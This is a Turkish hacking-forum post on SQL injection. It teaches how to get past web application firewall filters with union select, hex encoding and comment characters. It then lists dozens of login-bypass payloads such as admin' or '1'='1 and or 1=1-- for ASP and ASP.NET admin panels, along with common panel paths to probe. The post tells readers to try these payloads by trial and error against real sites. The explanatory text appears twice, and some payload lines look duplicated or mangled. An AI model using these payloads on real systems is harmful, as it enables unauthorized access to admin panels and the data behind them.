Risk-Master
Spys-Z
- Katılım
- 5 Ocak 2014
- Mesajlar
- 439
- Tepkime puanı
- 0
- Puanları
- 16
Bypass Metotları, Mantığı
Mesela bir sitede SQL İnjection açığı buluyoruz fakat bazen Güvenlik Duvarını (Firewall)'i Bypass Teknikleri ile aşamıyoruz?
//--+++** gibi işaretlerle deniyoruz. Fakat sonucu alamıyoruz.
İlk olarak mantığı anlamaya çalışalım. Hatayı kapatmaktansa neden bypass ediyor?
Biliyorsunuz ki SQL geniş bir dil, a yerine A yazsa problem çıkıyor.
Şimdi bunu böyle saatlerce arayacağımıza hatayı bypass ederiz mantığıyla düşünüyorlar.
Tabi hatayı aramaktan daha iyidir. İnternet'te biraz araştırıyorlar ya da bir şekilde sitenin sonundaki değerlere yazı yazılmasını engelliyorlar. Tabi bütün her şeyi engelleyemezler. Sistemde bir hata var her şekilde bir yerlerden o hata çıkacaktır. + o,r,d,e,r gibi db (database)'den veri çeken kodları yasaklıyorlar ve buna forbidden (Yasak Erişim) diyoruz.
Peki bu durumu nasıl aşabiliriz?
Tabi ki de +*- gibi karekterler aracılığıyla;
Diyelim ki bunlar da olmadı ne yapacağız?
Hexleme işlemini yapacağız. Hexliyerek bypass edebilirsiniz.
Bu da olmazsa ne yapacağız?
Artık özel karakterleri deneyeceğiz.
Örnek verecek olursak;
site.php?id=23 union select 1,2,3 ve baktık forbidden (Yasak Erişim) ya da "Sayfa Yüklenmiyor." gibi uyarılar geldi.
Şimdi site.php?id=--23 ((union select 1,2,3))
Bu şekilde denedik buda mı olmadı?
Çok kullanıcının aklına gelmez # koymak. Burada esas olan kodu Bypass etmek değildir, önemli olan değeri bypass etmektir. Kod zaten yasak ve sistem zaten bunu okutmaya izin vermez. Fakat değeri Bypass edersek değerdeki id değeri değişmiş olacaktır. Bu yüzden değeri de farklı okuduğu için db (database)'deki açıklar sayfaya yansıyacaktır.
Bazen sayfaya kırık resim linki olarak yansıyor. Bunun sebebi db (database)'nin resmin URL adresinde olmasıdır. Resmin sağ tıklama ile farklı bir sekmede açtığınızda resmin sonunda istenilen kodlar olacaktır.
Login Bypass Metodu
SQL Injection Saldırısı veya "Veritabanı Saldırısı" olarak da bilinen ve halen bir çok site için geçerli olan yönetim panelden "SQL İnjection Saldırısı" yani "Login Bypass Yöntemi" nasıl yapılır, onu anlatacağım.
Genelde Windows sunucularında çalışan Microsoft Web Uygulamalarının (ASP, ASP.NET) veritabanlarında karşılaşılan bir saldırı çeşididir. Microsoft Access ve MsSQL Veritabanı kullanan sistemlerde bu saldırı yöntemi çokça yapılmaktadır.
Bu saldırı PHP tabanlı MySQL Veritabanı kullanan siteler içinde geçerlidir. Tabi PHP yapısı son zamanlarda özellikle CMS üzerinde yapılan yoğun çalışmalar ile SQL Injection saldırıları minimuma indirilmiştir.
NOT: Ek olarak Kullanıcı'nın şifre bilgisi MD5 olarak kriptolandığı içinde bu saldırı çeşidi PHP sitelere pek yapılmamaktadır.
SQL Injection Saldırısı'nın en basit yöntemi olan Login Bypass, Kullanıcı adı ve Şifre kısmına Bypass edici **** kodlarını yazarak panele giriş yapabilmektir.
Bu saldırıyı aşağıdaki kodları kullanarak Deneme Yanılma Yöntemi ile yapabilirsiniz;
ASP Siteler için SQL Injection Login Bypass (Türevlerini artırabilirsiniz.)
Eğer hiç biri işe yaramadıysa birde şunları deneyin;
ASP.NET (.aspx) siteler için Login Bypass kodu;
anything' OR 'x'='x
Genelde şu tarz admin panellerinde bulunmaktadır.
Tabi bu yöntem sadece bunlarda denenebilir diyemeyiz.
/giris.asp /yonetim.asp /login.asp /yonetici.asp /panel.asp /admin.asp vs.
Mesela bir sitede SQL İnjection açığı buluyoruz fakat bazen Güvenlik Duvarını (Firewall)'i Bypass Teknikleri ile aşamıyoruz?
//--+++** gibi işaretlerle deniyoruz. Fakat sonucu alamıyoruz.
İlk olarak mantığı anlamaya çalışalım. Hatayı kapatmaktansa neden bypass ediyor?
Biliyorsunuz ki SQL geniş bir dil, a yerine A yazsa problem çıkıyor.
Şimdi bunu böyle saatlerce arayacağımıza hatayı bypass ederiz mantığıyla düşünüyorlar.
Tabi hatayı aramaktan daha iyidir. İnternet'te biraz araştırıyorlar ya da bir şekilde sitenin sonundaki değerlere yazı yazılmasını engelliyorlar. Tabi bütün her şeyi engelleyemezler. Sistemde bir hata var her şekilde bir yerlerden o hata çıkacaktır. + o,r,d,e,r gibi db (database)'den veri çeken kodları yasaklıyorlar ve buna forbidden (Yasak Erişim) diyoruz.
Peki bu durumu nasıl aşabiliriz?
Tabi ki de +*- gibi karekterler aracılığıyla;
Diyelim ki bunlar da olmadı ne yapacağız?
Hexleme işlemini yapacağız. Hexliyerek bypass edebilirsiniz.
Bu da olmazsa ne yapacağız?
Artık özel karakterleri deneyeceğiz.
Örnek verecek olursak;
site.php?id=23 union select 1,2,3 ve baktık forbidden (Yasak Erişim) ya da "Sayfa Yüklenmiyor." gibi uyarılar geldi.
Şimdi site.php?id=--23 ((union select 1,2,3))
Bu şekilde denedik buda mı olmadı?
Çok kullanıcının aklına gelmez # koymak. Burada esas olan kodu Bypass etmek değildir, önemli olan değeri bypass etmektir. Kod zaten yasak ve sistem zaten bunu okutmaya izin vermez. Fakat değeri Bypass edersek değerdeki id değeri değişmiş olacaktır. Bu yüzden değeri de farklı okuduğu için db (database)'deki açıklar sayfaya yansıyacaktır.
Bazen sayfaya kırık resim linki olarak yansıyor. Bunun sebebi db (database)'nin resmin URL adresinde olmasıdır. Resmin sağ tıklama ile farklı bir sekmede açtığınızda resmin sonunda istenilen kodlar olacaktır.
Login Bypass Metodu
SQL Injection Saldırısı veya "Veritabanı Saldırısı" olarak da bilinen ve halen bir çok site için geçerli olan yönetim panelden "SQL İnjection Saldırısı" yani "Login Bypass Yöntemi" nasıl yapılır, onu anlatacağım.
Genelde Windows sunucularında çalışan Microsoft Web Uygulamalarının (ASP, ASP.NET) veritabanlarında karşılaşılan bir saldırı çeşididir. Microsoft Access ve MsSQL Veritabanı kullanan sistemlerde bu saldırı yöntemi çokça yapılmaktadır.
Bu saldırı PHP tabanlı MySQL Veritabanı kullanan siteler içinde geçerlidir. Tabi PHP yapısı son zamanlarda özellikle CMS üzerinde yapılan yoğun çalışmalar ile SQL Injection saldırıları minimuma indirilmiştir.
NOT: Ek olarak Kullanıcı'nın şifre bilgisi MD5 olarak kriptolandığı içinde bu saldırı çeşidi PHP sitelere pek yapılmamaktadır.
SQL Injection Saldırısı'nın en basit yöntemi olan Login Bypass, Kullanıcı adı ve Şifre kısmına Bypass edici **** kodlarını yazarak panele giriş yapabilmektir.
Bu saldırıyı aşağıdaki kodları kullanarak Deneme Yanılma Yöntemi ile yapabilirsiniz;
ASP Siteler için SQL Injection Login Bypass (Türevlerini artırabilirsiniz.)
Kod:
- or --=-
‘or’1’=’1
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or --=-
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or --=-
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
Eğer hiç biri işe yaramadıysa birde şunları deneyin;
Kod:
- or true--
-) or true--
-) or (--)=(-
-) or 1--
-) or ('x')=(-
- or true--
- or --=-
- or 1--
- or "x"=-
-) or true--
-) or (--)=(-
-) or 1--
-) or ("x")=(-
-)) or true--
-)) or ((--))=((-
-)) or 1--
-)) or (('x'))=((-
---
-+-
-&-
-^-
-*-
- or ----
- or --+-
- or --&-
- or --^-
- or --*-
---
-+-
-&-
-^-
-*-
- or ----
- or --+-
- or --&-
- or --^-
- or --*-
or true--
- or true--
- or true--
-) or true--
-) or true--
- or 'x'='x
-) or ('x')=('x
-)) or (('x'))=(('x
- or "x"="x
-) or ("x")=("x
-)) or (("x"))=(("x
ASP.NET (.aspx) siteler için Login Bypass kodu;
anything' OR 'x'='x
Genelde şu tarz admin panellerinde bulunmaktadır.
Tabi bu yöntem sadece bunlarda denenebilir diyemeyiz.
/giris.asp /yonetim.asp /login.asp /yonetici.asp /panel.asp /admin.asp vs.